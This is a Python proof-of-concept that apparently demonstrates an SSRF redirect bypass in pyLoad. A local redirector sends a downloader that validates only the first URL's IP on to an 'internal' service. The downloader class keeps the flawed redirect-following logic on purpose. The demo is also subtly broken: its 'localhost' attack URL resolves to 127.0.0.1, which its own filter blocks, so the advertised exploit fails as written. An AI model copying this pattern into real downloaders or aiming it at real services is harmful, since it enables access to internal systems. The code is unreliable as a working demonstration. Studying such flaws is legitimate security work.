Vulnerable code sample

import http.server
import socketserver
import threading
import requests
import time
from urllib.parse import urlparse
import socket

# --- Server Setup to Simulate the Environment ---

# 1. An "internal" service that should not be accessible from the outside.
INTERNAL_PORT = 8081
class InternalServiceHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(b"SUCCESS: Internal service was reached.")
        print(f"\n--- VULNERABILITY EXPLOITED ---")
        print(f"[+] Request received by the internal service on 127.0.0.1:{INTERNAL_PORT}")
        print(f"[+] SSRF attack was successful.\n")

# 2. An "external" service that is allowed and hosts a redirect.
REDIRECTOR_PORT = 8080
class RedirectHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        redirect_location = f"http://127.0.0.1:{INTERNAL_PORT}/"
        self.send_header('Location', redirect_location)
        self.end_headers()
        print(f"[i] Redirector at localhost:{REDIRECTOR_PORT} is sending a 302 redirect to {redirect_location}")

def run_server(handler_class, port):
    with socketserver.TCPServer(("", port), handler_class) as httpd:
        httpd.serve_forever()

# --- Vulnerable Code Representation ---

class VulnerableDownloader:
    def is_forbidden_ip(self, ip):
        """Simulates the IP filter that blocks local/private addresses."""
        parts = ip.split('.')
        if ip == '127.0.0.1': return True
        if parts[0] == '10': return True
        if parts[0] == '192' and parts[1] == '168': return True
        if parts[0] == '172' and 16 <= int(parts[1]) <= 31: return True
        return False

    def download(self, url):
        """
        This method represents the vulnerable logic in pyLoad before the fix.
        It checks the initial URL but fails to validate redirect targets.
        """
        print(f"[*] Received download request for: {url}")

        # 1. The flawed validation: Check the IP of the INITIAL URL's hostname.
        try:
            hostname = urlparse(url).hostname
            ip_address = socket.gethostbyname(hostname)
            print(f"[+] Resolved initial hostname '{hostname}' to IP: {ip_address}")

            if self.is_forbidden_ip(ip_address):
                print(f"[-] FAILED: Initial IP check blocked forbidden address {ip_address}.")
                return
            else:
                print(f"[+] PASSED: Initial IP check for {ip_address} is OK.")

        except Exception as e:
            print(f"[-] FAILED: Could not perform initial IP check. Error: {e}")
            return

        # 2. The vulnerable action: Make the request, automatically following redirects.
        # This simulates pycurl's FOLLOWLOCATION=1 behavior. `requests` follows
        # redirects by default.
        try:
            print(f"[*] Starting download from {url} (auto-following redirects)...")
            # In the actual vulnerability, this was a pycurl call.
            # `requests.get` with default `allow_redirects=True` serves the same purpose here.
            response = requests.get(url, timeout=5)
            
            print(f"[i] Request finished. Final URL was: {response.url}")
            print(f"[i] Final status code: {response.status_code}")
            if response.status_code == 200:
                print(f"[i] Response from final destination: {response.text}")

        except requests.exceptions.RequestException as e:
            print(f"[-] Download request failed. Error: {e}")

if __name__ == '__main__':
    # Start the internal and redirector servers in background threads
    internal_server = threading.Thread(target=run_server, args=(InternalServiceHandler, INTERNAL_PORT), daemon=True)
    redirector_server = threading.Thread(target=run_server, args=(RedirectHandler, REDIRECTOR_PORT), daemon=True)
    internal_server.start()
    redirector_server.start()
    time.sleep(0.5) # Give servers a moment to start

    downloader = VulnerableDownloader()

    # --- DEMONSTRATION OF THE VULNERABILITY ---
    
    # This is the URL an attacker would provide.
    # The hostname 'localhost' (127.0.0.1) is used for the redirector for this local demo.
    # The check will see 127.0.0.1, but since it hosts the *redirector*, we'll
    # pretend it's a "public" IP for the sake of the demo's logic flow.
    # In a real attack, this would be a public IP controlled by the attacker.
    # The important part is that the redirect points to a *different* internal IP.
    attack_url = f"http://localhost:{REDIRECTOR_PORT}/redirect"
    
    downloader.download(attack_url)